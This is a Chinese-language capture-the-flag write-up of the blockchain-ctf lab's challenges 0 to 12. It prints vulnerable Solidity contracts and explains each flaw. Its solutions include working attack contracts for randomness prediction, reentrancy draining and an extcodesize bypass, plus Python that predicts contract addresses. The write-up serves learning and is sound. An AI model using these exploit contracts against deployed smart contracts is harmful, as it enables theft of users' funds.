blockchain-ctf靶场(0-12)

1. blockchain-ctf靶场

平台地址:https://blockchain-ctf.securityinnovation.com/
大佬blog:https://hitcxy.com/2020/securityinnovation/

写在前面:

惯例感谢pikachu大佬。
RW不会做,靶场还不会吗?blockchain-ctf这个靶场确实向大佬说的更贴近生产,有很多和做题无关的代码,增加了一点点审计工作量。但做的时候还是简单的,如果你觉得很难,那一定是想多了。
要提醒的就是这个靶场坑测试币啊,5ether根本不够因为有道题会生生吃掉你4ether,做到那里你就知道了……

5.7.1. Hello Challenge

image.png

1.1. 签到:Donation

1.1.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";

contract Donation is CtfFramework{

    using SafeMath for uint256;

    uint256 public funds;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        funds = funds.add(msg.value);
    }
    
    function() external payable ctf{
        funds = funds.add(msg.value);
    }

    function withdrawDonationsFromTheSuckersWhoFellForIt() external ctf{
        msg.sender.transfer(funds);
        funds = 0;
    }

}

1.1.2. solve

  • 考点:感觉没有考点。。。
  • 直接调用withdrawDonationsFromTheSuckersWhoFellForIt()就行,为什么要骂人><
image.png

1.2. private:Lock Box

1.2.1. souce

pragma solidity 0.4.24;

import "../CtfFramework.sol";

contract Lockbox1 is CtfFramework{

    uint256 private pin;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        pin = now%10000;
    }
    
    function unlock(uint256 _pin) external ctf{
        require(pin == _pin, "Incorrect PIN");
        msg.sender.transfer(address(this).balance);
    }

}

1.2.2. solve

  • 考点:
    • 读取私有变量
    • constructor只在构造的时候执行一次。
  • 有点奇怪读0没有value,读1才是pin值……不应该啊。web3.eth.getStorageAt("0xf1e80fe02b23ff27e704aa1fef006d7b34910081", 1, function(x, y) {console.warn(y)}); 提交_pin为读到的值即可

1.3. msg.sender:Piggy Bank

This contract belongs to Charlie with the address 0xbc4bfb890caa811839be474c7bf76fcda1530649
Charlie is the only person capable of withdrawing from this contract
Your wallet is 0xdbc1ce93e1237baf2585ca87909b30a87a2e77b6, so you are not Charlie and you can not withdraw

1.3.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";

contract PiggyBank is CtfFramework{

    using SafeMath for uint256;

    uint256 public piggyBalance;
    string public name;
    address public owner;
    
    constructor(address _ctfLauncher, address _player, string _name) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        name=_name;
        owner=msg.sender;
        piggyBalance=piggyBalance.add(msg.value);
    }
    
    function() external payable ctf{
        piggyBalance=piggyBalance.add(msg.value);
    }

    
    modifier onlyOwner(){
        require(msg.sender == owner, "Unauthorized: Not Owner");
        _;
    }

    function withdraw(uint256 amount) internal{
        piggyBalance = piggyBalance.sub(amount);
        msg.sender.transfer(amount);
    }

    function collectFunds(uint256 amount) public onlyOwner ctf{
        require(amount<=piggyBalance, "Insufficient Funds in Contract");
        withdraw(amount);
    }
    
}


contract CharliesPiggyBank is PiggyBank{
    
    uint256 public withdrawlCount;
    
    constructor(address _ctfLauncher, address _player) public payable
        PiggyBank(_ctfLauncher, _player, "Charlie") 
    {
        withdrawlCount = 0;
    }
    
    function collectFunds(uint256 amount) public ctf{
        require(amount<=piggyBalance, "Insufficient Funds in Contract");
        withdrawlCount = withdrawlCount.add(1);
        withdraw(amount);
    }
    
}

1.3.2. solve

  • 看代码,用CharliesPiggyBank创建了一个PiggyBank。
  • PiggyBank里的withdraw标了internal,只能在内部调用。collectFunds又有onlyOwner,基本安全。
  • 但CharliesPiggyBank在继承时为了制造漏洞强行重写了collectFunds,去掉了msg.sender的限制。
  • 查看piggyBalance,输入0x214e8348c4f0000调用collectFunds,转账成功

1.4. 整数溢出:SI Token Sale

We are releasing 1000 SI Tokens (SIT) at the low low cost of 1 SIT == 1 ETH (minus a small developer fee).

We have yet to figure out what these tokens will be used for, but we are leaning towards something IOT / Machine Learning / Big Data / Cloud.

Secure your SIT today before they're gone!

1.4.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";

// https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.8.0/contracts/token/ERC20/StandardToken.sol
import "../StandardToken.sol";

contract SIToken is StandardToken {

    using SafeMath for uint256;

    string public name = "SIToken";
    string public symbol = "SIT";
    uint public decimals = 18;
    uint public INITIAL_SUPPLY = 1000 * (10 ** decimals);

    constructor() public{
        totalSupply_ = INITIAL_SUPPLY;
        balances[this] = INITIAL_SUPPLY;
    }
}

contract SITokenSale is SIToken, CtfFramework {

    uint256 public feeAmount;
    uint256 public etherCollection;
    address public developer;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        feeAmount = 10 szabo; 
        developer = msg.sender;
        purchaseTokens(msg.value);
    }

    function purchaseTokens(uint256 _value) internal{
        require(_value > 0, "Cannot Purchase Zero Tokens");
        require(_value < balances[this], "Not Enough Tokens Available");
        balances[msg.sender] += _value - feeAmount;
        balances[this] -= _value;
        balances[developer] += feeAmount; 
        etherCollection += msg.value;
    }

    function () payable external ctf{
        purchaseTokens(msg.value);
    }

    // Allow users to refund their tokens for half price ;-)
    function refundTokens(uint256 _value) external ctf{
        require(_value>0, "Cannot Refund Zero Tokens");
        transfer(this, _value);
        etherCollection -= _value/2;
        msg.sender.transfer(_value/2);
    }

    function withdrawEther() external ctf{
        require(msg.sender == developer, "Unauthorized: Not Developer");
        require(balances[this] == 0, "Only Allowed Once Sale is Complete");
        msg.sender.transfer(etherCollection);
    }

}

1.4.2. solve

  • 题目合约提供了捐款和退款(1/2)功能,只要balance足够,refundTokens是可以完成转账的。
  • 溢出漏洞 balances[msg.sender] += _value – feeAmount,当value足够小(比如1wei)时,balances[msg.sender]溢出为大整数。
  • 查看etherCollection,传入2倍值调用refundTokens。(比如600000000000000002)。
  • 但有个问题,没有找到balances[]的声明,怎么能确定没有用safemath的uint呢…… (没有找到就是没有用)

1.5. 函数重写(×)函数重载(√):Secure Bank

Good Afternoon!
Welcome to your Super Secure Digital Bank Account.
You may have heard elsewhere that with blockchain, banks are a thing of the past, what with fully owning your private keys and all...

But that is nonesense! You still need a bank! Who else will send you 30 new credit card offers in the mail each day??

At Super Secure Bank, we bring you the best of both worlds! We let you control the keys to your funds (stored in our smart contract) while still requiring you to register and receive our spam!

1.5.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";

contract SimpleBank is CtfFramework{

    mapping(address => uint256) public balances;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        balances[msg.sender] = msg.value;
    }

    function deposit(address _user) public payable ctf{
        balances[_user] += msg.value;
    }

    function withdraw(address _user, uint256 _value) public ctf{
        require(_value<=balances[_user], "Insufficient Balance");
        balances[_user] -= _value;
        msg.sender.transfer(_value);
    }

    function () public payable ctf{
        deposit(msg.sender);
    }

}

contract MembersBank is SimpleBank{

    mapping(address => string) public members;

    constructor(address _ctfLauncher, address _player) public payable
        SimpleBank(_ctfLauncher, _player)
    {
    }

    function register(address _user, string _username) public ctf{
        members[_user] = _username;
    }

    modifier isMember(address _user){
        bytes memory username = bytes(members[_user]);
        require(username.length != 0, "Member Must First Register");
        _;
    }

    function deposit(address _user) public payable isMember(_user) ctf{
        super.deposit(_user);
    }

    function withdraw(address _user, uint256 _value) public isMember(_user) ctf{
        super.withdraw(_user, _value);
    }

}

contract SecureBank is MembersBank{

    constructor(address _ctfLauncher, address _player) public payable
        MembersBank(_ctfLauncher, _player)
    {
    }

    function deposit(address _user) public payable ctf{
        require(msg.sender == _user, "Unauthorized User");
        require(msg.value < 100 ether, "Exceeding Account Limits");
        require(msg.value >= 1 ether, "Does Not Satisfy Minimum Requirement");
        super.deposit(_user);
    }

    function withdraw(address _user, uint8 _value) public ctf{
        require(msg.sender == _user, "Unauthorized User");
        require(_value < 100, "Exceeding Account Limits");
        require(_value >= 1, "Does Not Satisfy Minimum Requirement");
        super.withdraw(_user, _value * 1 ether);
    }

    function register(address _user, string _username) public ctf{
        require(bytes(_username).length!=0, "Username Not Enough Characters");
        require(bytes(_username).length<=20, "Username Too Many Characters");
        super.register(_user, _username);
    }
}

1.5.2. solve

  • 题目是通过SecureBank来给用户创建自己的memberbank,转账方面没有安全问题,
  • 本题的考点是函数重写和重载的概念。函数重载是指函数命名相同,但需要函数传入参数的数量或类型不同。 看到securebankfunction withdraw(address _user, uint8 _value)里这个突兀的uint8,导致仍然存在function withdraw(address _user, uint256 _value)方法,毕竟签名不同=。=。而后面这个就没有msg.sender == _user的要求了。 调用后者就能执行msg.sender.transfer(_value)从_user 偷钱……。
  • 剩下唯一的问题是找到有钱的_user。ropsten查了下合约的创建者是0x2272071889eDCeACABce7dfec0b1E017c6Cad120,检查balance确认思路正确。
  • 先注册,再提取,搞掂。做到现在没有一道题需要自己部署攻击合约的,有点无聊-。-

直接部署源代码也能看出来有两个withdraw,存在重载的问题。出题人假装重写了,但其实还在。

1.6. 伪随机: Lottery

彩票,需要猜中seed

Today is your lucky day!
Pick your numbers now and win the grand prize!

The current pot is already up to 0.5 ETH!
Only costs 0.001 ETH to play!

1.6.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";

contract Lottery is CtfFramework{

    using SafeMath for uint256;

    uint256 public totalPot;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        totalPot = totalPot.add(msg.value);
    }
    
    function() external payable ctf{
        totalPot = totalPot.add(msg.value);
    }

    function play(uint256 _seed) external payable ctf{
        require(msg.value >= 1 finney, "Insufficient Transaction Value");
        totalPot = totalPot.add(msg.value);
        bytes32 entropy = blockhash(block.number);
        bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
        bytes32 target = keccak256(abi.encodePacked(entropy^entropy2));
        bytes32 guess = keccak256(abi.encodePacked(_seed));
        if(guess==target){
            //winner
            uint256 payout = totalPot;
            totalPot = 0;
            msg.sender.transfer(payout);
        }
    }    
}

1.6.2. solve

  • 算出target直接带入就行,毕竟block.number在同一次交易中是相同的。
  • 踩了个坑,自己忘了加fallback函数……
contract Attacker{
    function attack() public payable {
        Lottery  _target = Lottery(0x7fe96f8b3447c17448b2cd59dd6b22d804203847);
        bytes32 entropy = blockhash(block.number);
        bytes32 entropy2 = keccak256(abi.encodePacked(this));
        uint seed = uint(entropy^entropy2);
        _target.play.value(msg.value)(seed);
    }
    
    function () payable{}
    
    function kill() public payable {
       selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }//为了把钱要回来真是煞费苦心
}

1.7. 循环:Heads or Tails

Flip a Coin!
Choose heads or tails.

It costs 0.1 ETH to play.
If you win, you get your initial bet back plus 0.05 ETH!
If you pick wrong, we keep your fee.

Sounds like good odds to me! Wanna play?

1.7.1. source

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";

contract HeadsOrTails is CtfFramework{

    using SafeMath for uint256;

    uint256 public gameFunds;
    uint256 public cost;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        gameFunds = gameFunds.add(msg.value);
        cost = gameFunds.div(10);
    }
    
    function play(bool _heads) external payable ctf{
        require(msg.value == cost, "Incorrect Transaction Value");
        require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract");
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) {
            //win,返还1.5倍,即多得0.05
            gameFunds = gameFunds.sub(msg.value.div(2)); 
            msg.sender.transfer(msg.value.mul(3).div(2));
        }
        else {
            //loser
            gameFunds = gameFunds.add(msg.value);
        }
    }

}

1.7.2. solve

  • 和Ethernaut靶场的coinflip一样嘛只不过循环终于派上用场了。1/0.05=20,调用attack()的时候记得传入value 2ether
  • 巨资3eth这要是忘了写个selfdestruct该多心疼
contract Attacker{
    function attack() public payable{
        HeadsOrTails target = HeadsOrTails(0xa0556a5252439ddd0b10f6354f0798077b2e00c7);
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        for(uint i;i<20;i++){
            target.play.value(0.1 ether)(coinFlip==1);
        }
    }
    
    function () payable{}
    
    function kill() public payable {
        selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }
}

1.8. 代码逻辑:Record Label

均分eth给所有stake holders

You've made it, kid!
You're officially a rockstar! Now that your killer remix has gone viral, you'll be swimming in dough in no time!
Now for some of the fine print
As your manager, it is my responsibility that all the royalty holders get paid their fare share for each of your sales.

I've set up this smart contract to store all your sales revenue. When you want to withdraw, just enter how much ETH you need and the contract will automatically payout an appropriate percentage to all the stake holders.

Isn't the future nuts???

1.8.1. source

pragma solidity 0.4.24;

//import "../CtfFramework.sol";
//import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";

contract Royalties{

    using SafeMath for uint256;

    address private collectionsContract;
    address private artist;

    address[] private receiver;
    mapping(address => uint256) private receiverToPercentOfProfit;
    uint256 private percentRemaining;

    uint256 public amountPaid;

    constructor(address _manager, address _artist) public
    {
        collectionsContract = msg.sender;
        artist=_artist;

        receiver.push(_manager);
        receiverToPercentOfProfit[_manager] = 80;
        percentRemaining = 100 - receiverToPercentOfProfit[_manager];
    }

    modifier isCollectionsContract() { 
        require(msg.sender == collectionsContract, "Unauthorized: Not Collections Contract");
        _;
    }

    modifier isArtist(){
        require(msg.sender == artist, "Unauthorized: Not Artist");
        _;
    }

    function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{
        require(_percent<percentRemaining, "Precent Requested Must Be Less Than Percent Remaining");
        receiver.push(_receiver);
        receiverToPercentOfProfit[_receiver] = _percent;
        percentRemaining = percentRemaining.sub(_percent);
    }

    function payoutRoyalties() public payable isCollectionsContract{ //trace1.2
        for (uint256 i = 0; i< receiver.length; i++){
            address current = receiver[i];
            uint256 payout = msg.value.mul(receiverToPercentOfProfit[current]).div(100);
            amountPaid = amountPaid.add(payout);//trace2.2
            current.transfer(payout); //trace1.3
        }
        msg.sender.call.value(msg.value-amountPaid)(bytes4(keccak256("collectRemainingFunds()")));//trace1.4
    }

    function getLastPayoutAmountAndReset() external isCollectionsContract returns(uint256){
        uint256 ret = amountPaid; //trace2.1
        amountPaid = 0;
        return ret; 
    }

    function () public payable isCollectionsContract{ //trace1.1
        payoutRoyalties();//trace1.2
    }
}

contract Manager{
    address public owner;

    constructor(address _owner) public {
        owner = _owner;
    }

    function withdraw(uint256 _balance) public {
        owner.transfer(_balance);
    }

    function () public payable{
        // empty
    }
}

contract RecordLabel is CtfFramework{

    using SafeMath for uint256;

    uint256 public funds;
    address public royalties;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        royalties = new Royalties(new Manager(_ctfLauncher), _player);
        funds = funds.add(msg.value);
    }
    
    function() external payable ctf{
        funds = funds.add(msg.value);
    }


    function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{
        require(_withdrawAmount<=funds, "Insufficient Funds in Contract");
        funds = funds.sub(_withdrawAmount);
        royalties.call.value(_withdrawAmount)();//trace1.0,分析顺序见trace1系列
        uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset();//trace2.0
        uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid); 
        msg.sender.transfer(artistPayout);
    }

    function collectRemainingFunds() external payable{
        require(msg.sender == royalties, "Unauthorized: Not Royalties Contract");
    }

}

1.8.2. solve

  • 还是先实例化源代码看看:0x0448da0179aa06c14b95b7c81dfb3cc3d8f34c2b
  • 要提取出目标合约的余额,可能有这几种方向
    • 使funds为大整数,这样随便抽都可以提取完。但funds相关用的safemath,基本不可能。
    • 使royaltiesPaid为0,
    • 构造的时候留了啥后门。注意到部署合约时有royalties = new Royalties(new Manager(_ctfLauncher), _player);
      • Manager的地址是:0xCE9FDBB850E37c0Ae65f47c67f861D914f95d7B7,看到owner是0xdCB37036c66Bc6a5A19ccf0DBc0253e584499954,转账都是给owner,没戏。
      • royalities的地址是:0x4E0E63d0c313588009330DDB5b423D6bb6Ebe479,看到amountPaid是0。这……我们来顺一下逻辑。amountPaid只在payoutRoyalties函数中会增加,在withdrawFundsAndPayRoyalties执行royalties.call.value(_withdrawAmount)();给royalties转账时会触发,触发后给receiver[]转账,并将msg.value-amountPaid转给msg.sender(见源代码中的trace1和trace2)。到这里本来是正常的。但withdrawFundsAndPayRoyalties里最后还有一句执行msg.sender.transfer(amountPaid);到底图啥,这不就又加回来了吗?
  • 直接令_withdrawAmount=1 eth,执行withdrawFundsAndPayRoyalties就拿到了所有钱。那么问题来了,receiver里没人吗?对(),因为全程只在构造的时候有一句receiver.push(_manager);_manager就是new manager的地址。
  • 题外:
    • 上了自动审计工具:docker run -v $(pwd):/tmp mythril/myth a /tmp/target.sol --solv 0.4.24 --exec ution-timeout 60,审计结果是 Unprotected Ether Withdrawal,感觉不好使。。。

1.9. 重入:trustfund

only allowing you to withdraw 0.1 ETH a year for the next 10 years.
(我已经想起ERC20了。。。好吧不是)

1.9.1. source

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";

contract TrustFund is CtfFramework{

    using SafeMath for uint256;

    uint256 public allowancePerYear;
    uint256 public startDate;
    uint256 public numberOfWithdrawls;
    bool public withdrewThisYear;
    address public custodian;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        custodian = msg.sender;
        allowancePerYear = msg.value.div(10);        
        startDate = now;
    }

    function checkIfYearHasPassed() internal{
        if (now>=startDate + numberOfWithdrawls * 365 days){
            withdrewThisYear = false;
        } 
    }

    function withdraw() external ctf{
        require(allowancePerYear > 0, "No Allowances Allowed");
        checkIfYearHasPassed();
        require(!withdrewThisYear, "Already Withdrew This Year");
        if (msg.sender.call.value(allowancePerYear)()){
            withdrewThisYear = true;
            numberOfWithdrawls = numberOfWithdrawls.add(1);
        }
    }
    
    function returnFunds() external payable ctf{
        require(msg.value == allowancePerYear, "Incorrect Transaction Value");
        require(withdrewThisYear==true, "Cannot Return Funds Before Withdraw");
        withdrewThisYear = false;
        numberOfWithdrawls=numberOfWithdrawls.sub(1);
    }
}

1.9.2. solve

  • 先call.value了再加次数,看起来是重入,1/0.1=10
  • 大佬们的wp纷纷没有加次数限制,因为call.value 如果异常会转账失败,仅会返回false,不会终止执行。我还是太善良了!()
contract Attacker{
    TrustFund target = TrustFund(0xc335f803e10c8d76e34f007076dfc221e6ef392a);
    uint flag;
    
    function attack() public payable{
        target.withdraw();
    }
    
    function () payable{
        if(flag<9){
        target.withdraw();
        flag++;
        }
    }
    
    function kill() public payable {
        selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }
}

1.10. selfdestruct:slotMachine

老虎机。。。Click today and deposit your 0.000001 ETH

1.10.1. source

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";

contract SlotMachine is CtfFramework{

    using SafeMath for uint256;

    uint256 public winner;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        winner = 5 ether;
    }
    
    function() external payable ctf{
        require(msg.value == 1 szabo, "Incorrect Transaction Value");
        if (address(this).balance >= winner){
            msg.sender.transfer(address(this).balance);
        }
    }

}

1.10.2. solve

  • 循环也是可以的。(5-1.5)/0.000001=350w次(并不可以)
  • 先自毁强制送钱再补一刀,带入5-1.5-0.000001=3.499999自毁
  • pull that lever!!!

1.11. 子合约地址:Rainy Day

The community decided to get together and organize a rainy day fund.
We've selected some very trustworthy people to manage the funds. Don't worry about it.
I assure you, the next time it rains, we'll have the funds for it!

1.11.1. source

pragma solidity 0.4.24;

import "./CtfFramework.sol";

contract DebugAuthorizer{
    
    bool public debugMode;

    constructor() public payable{
        if(address(this).balance == 1.337 ether){
            debugMode=true;
        }
    }
}

contract RainyDayFund is CtfFramework{

    address public developer;
    mapping(address=>bool) public fundManagerEnabled;
    DebugAuthorizer public debugAuthorizer;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        //debugAuthorizer = (new DebugAuthorizer).value(1.337 ether)(); // Debug mode only used during development
        debugAuthorizer = new DebugAuthorizer();
        developer = msg.sender;
        fundManagerEnabled[msg.sender] = true;
    }
    
    modifier isManager() {
        require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, "Unauthorized: Not a Fund Manager");
         _;
    }

    function () external payable ctf{
        // Anyone can add to the fund    
    }
    
    function addFundManager(address _newManager) external isManager ctf{
        fundManagerEnabled[_newManager] = true;
    }

    function removeFundManager(address _previousManager) external isManager ctf{
        fundManagerEnabled[_previousManager] = false;
    }

    function withdraw() external isManager ctf{
        msg.sender.transfer(address(this).balance);
    }
}

1.11.2. solve

  • 需要isManager才能提取,唯一的可能是debugAuthorizer.debugMode()
    • 一开始想本地重写debugMode(),未遂,不应该啊我比较远啊。
    • 因为debug只在constructor阶段可以用,看一下合约间的关系
      • developer:0xeD0D5160c642492b3B482e006F67679F5b6223A2
      • rainfund:0x9260f766C0B6b568Ca1689fd658790e956D4B420(是上面的nonce337)
      • debugAuthorizer:0x107B773c0eFd9668ba0c915B0405949476B1C933(是上面的nonce1)
      • 思路是计算出338的nonce1地址,提前转账1.337 ether。但第一次部署的钱已经拿不回来了(黑心公司还我血汗钱,这道题净损失1.337+2.5!)
        • newR = 374c84ad4e641a63c810e661f028d025b6cf6425
        • newD = f7af84f87e14c95324eb1ebf7e65030c28afb521
        • 给newD转账,重新部署题目,这个时候就可以调用newR的withdraw了。
from ethereum import utils

def getSon(Father,nonce):
    sha3_res = utils.mk_contract_address(Father,nonce)
    sha3_res_de = utils.decode_addr(sha3_res)
    #print('[+]%s,contract_address: %s'%(nonce,sha3_res_de))
    return(sha3_res_de)
    
def FindNonce(Father,Son):
    MaxNonce = 100000
    for nonce in range(MaxNonce):
        res = getSon(Father,nonce)
        if int(res,16)==Son:
            print('[+]the correct nonce is :%s'%(nonce))
            return(int(nonce))
        
developer= 0xeD0D5160c642492b3B482e006F67679F5b6223A2
rainfund = 0x9260f766C0B6b568Ca1689fd658790e956D4B420
debugAuthorizer = 0x107B773c0eFd9668ba0c915B0405949476B1C933
nonce = FindNonce(developer,rainfund)
newR = getSon(developer,nonce+1)
newD =  getSon(newR,1)
print(nonce,newR,newD)

1.12. Raffle

The ticket costs a random amount, somewhere between 0.1 and 0.5 ether.
When the time is right, our administrators will close the contest and finalize the winners.

1.12.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";

contract Raffle is CtfFramework{

    uint256 constant fee = 0.1 ether;

    address private admin;

    bytes4 private winningTicket;
    uint256 private blocknum;

    uint256 public ticketsBought;
    bool public raffleStopped;

    mapping(address=>uint256) private rewards;
    mapping(address=>bool) private potentialWinner;
    mapping(address=>bytes4) private ticketNumbers;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        rewards[address(this)] = msg.value;
        admin = msg.sender;
    }

    function buyTicket() external payable ctf{
        if(msg.value >= fee){
            winningTicket = bytes4(0);
            blocknum = block.number+1;
            ticketsBought += 1;
            raffleStopped = false;
            rewards[msg.sender] += msg.value;
            ticketNumbers[msg.sender] = bytes4((msg.value - fee)/10**8);
            potentialWinner[msg.sender] = true;
        }
    }

    function closeRaffle() external ctf{
        require(ticketsBought>0);
        require(!raffleStopped);
        require(blocknum != 0);
        require(winningTicket == bytes4(0));
        require(block.number>blocknum);
        require(msg.sender==admin || rewards[msg.sender]>0);
        winningTicket = bytes4(blockhash(blocknum));
        potentialWinner[msg.sender] = false;
        raffleStopped = true;
    }

    function collectReward() external payable ctf{
        require(raffleStopped);
        require(potentialWinner[msg.sender]);
        rewards[address(this)] += msg.value;
        if(winningTicket == ticketNumbers[msg.sender]){
            msg.sender.transfer(rewards[msg.sender]);
            msg.sender.transfer(rewards[address(this)]); 
            rewards[msg.sender] = 0;
            rewards[address(this)] = 0;
        }
    }

    function skimALittleOffTheTop(uint256 _value) external ctf{
        require(msg.sender==admin);
        require(rewards[address(this)]>_value);
        rewards[address(this)] = rewards[address(this)] - _value;
        msg.sender.transfer(_value);
    }

    function () public payable ctf{
        if(msg.value>=fee){
            this.buyTicket();
        }
        else if(msg.value == 0){
            this.closeRaffle();
        }
        else{
            this.collectReward();
        }
    }

}

1.12.2. solve

  • 需要触发collectReward,并满足
    • 除了msg.sender和合约外没有其他账户投钱(因为只返回这两个地址的rewards)
    • winningTicket == ticketNumbers[msg.sender]
      • bytes4(blockhash(blocknum))= bytes4((msg.value - fee)/10**8);(blocknum为当closeRaffle执行前最后一次买彩票的blocknumber+1),漏洞为PRNG,EVM 能存储的区块哈希为最近的 256 条,两次调用高度超过256的话,值为 0。
    • raffleStopped==true
      • closeRaffle()
      • msg.value=0
        • ticketsBought>0——买过彩票自然有
        • block.number>blocknum——在buyTicket()后还需要等一等
        • rewards[msg.sender]>0——买过彩票自然有
    • potentialWinner[msg.sender]——调用closeRaffle()的不能是自己,那就只能是目标合约了。
  • 解法
    • 先msg.value=0.1ether调用buyTicket ,此时的block.number=9432258,256块以上countdown预计需要33分钟(实际更久)……倒杯卡布奇诺()https://ropsten.etherscan.io/block/countdown/9432518
    • 确认256block is mined后,msg.value=0随便传个0x00触发fallback(之前先把题目合约加到ctf_challenge_add_authorized_sender),此时可以看到raffleStopped已经是true了,不确定的话还可以web3看看winningTicket
    • 调用collectReward() 收割
    • 踩了个坑就是预计时间到了后其实并不一定真的挖到了那么后面,此时调用collectReward() 交易成功,但是没有过if。所以记得要确认下block状态。

1.13. Scratchcard

If you think you need more than 1 ETH to solve this, you're probably going down the wrong path.

1.13.1. source

pragma solidity 0.4.2
4;

import "./CtfFramework.sol";

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}

contract Scratchcard is CtfFramework{

    event CardPurchased(address indexed player, uint256 cost, bool winner);

    mapping(address=>uint256) private winCount;
    uint256 private cost;


    using Address for address;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
    }

    modifier notContract(){
        require(!msg.sender.isContract(), "Contracts Not Allowed");
        _;
    }
    
    function play() public payable notContract ctf{
        bool won = false;
        if((now%10**8)*10**10 == msg.value){
            won = true;
            winCount[msg.sender] += 1;
            cost = msg.value;
            msg.sender.transfer(cost);
        }
        else{
            cost = 0;
            winCount[msg.sender] = 0;
        }
        emit CardPurchased(msg.sender, msg.value, won);
    }    

    function checkIfMegaJackpotWinner() public view returns(bool){
        return(winCount[msg.sender]>=25);
    }

    function collectMegaJackpot(uint256 _amount) public notContract ctf{
        require(checkIfMegaJackpotWinner(), "User Not Winner");
        require(2 * cost - _amount > 0, "Winners May Only Withdraw Up To 2x Their Scratchcard Cost");
        winCount[msg.sender] = 0;
        msg.sender.transfer(_amount);
    }

    function () public payable ctf{
        play();
    }

}

1.13.2. ?solve

  • 思考过程():要play()赢25次,就可以调用collectMegaJackpot从奖金池提取amount。
    • require(2 * cost - _amount > 0
      • 奖金库有3.5ether,但是一次也就0.1xxxether,看起来要赢25*17次。然而其实可以整数溢出,所以约等于没有限制。
    • 要求1:!isContract,即extcodesize(account)==0
      • 通过构造函数调用可以绕过extcodesize=0,但此时没有fallback会无法transfer吧,卒。——并没有卒
      • 通过delegatecall使msg.sender为账户地址,但delegatecall不能带value,卒。
    • 要求2:(now%10**8)*10**10 == msg.value,每次win都可以把成本拿回来
      • now==block.timestamp 表示当前区块挖掘时间
  • 放弃了直接看大佬wp
    • 字节码逆向下是直接写了个fallback,小于等于二十五次的时候循环调用play(),大于25了就collect,然后return一串长代码,内容是stop和自毁……这,看起来和我最初的想法一样嘛。
  • 最后解决:
    • 就普通的写在constructor里面然后攻击成功了……此时代码区不是空吗为什么可以transfer呢()
    • 注意因为调用ctf_challenge_add_authorized_sender也会增加一次交易,需要计算的是+2的子合约。

攻击合约代码

contract Attacker{

    constructor() public payable {
        Scratchcard target = Scratchcard(0xb53df9b5d0314fcf511bee5e3893649a83d7c5a9);
        for(uint i=0;i<25;i++)
            target.play.value((now%10**8)*10**10)();
        target.collectMegaJackpot(3.5 ether);
    }
    
    function () public payable{}
    
    function kill() public payable {
       selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }
}

计算子合约地址的代码再贴一贴

rom ethereum import utils

def getSon(Father,nonce):
    sha3_res = utils.mk_contract_address(Father,nonce)
    sha3_res_de = utils.decode_addr(sha3_res)
    #print('[+]%s,contract_address: %s'%(nonce,sha3_res_de))
    return(sha3_res_de)
    
def FindNonce(Father,Son):
    MaxNonce = 100000
    for nonce in range(MaxNonce):
        res = getSon(Father,nonce)
        if int(res,16)==Son:
            print('[+]the correct nonceis :%s'%(nonce))
            return(int(nonce))
        
developer= 0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6
rainfund = 0xb3dedbe46f78032b9d7032ab5d7cf6c84e818c05
nonce = FindNonce(developer,rainfund)
print(nonce,getSon(developer,nonce),'start to predict',getSon(developer,nonce+1),getSon(developer,nonce+2))

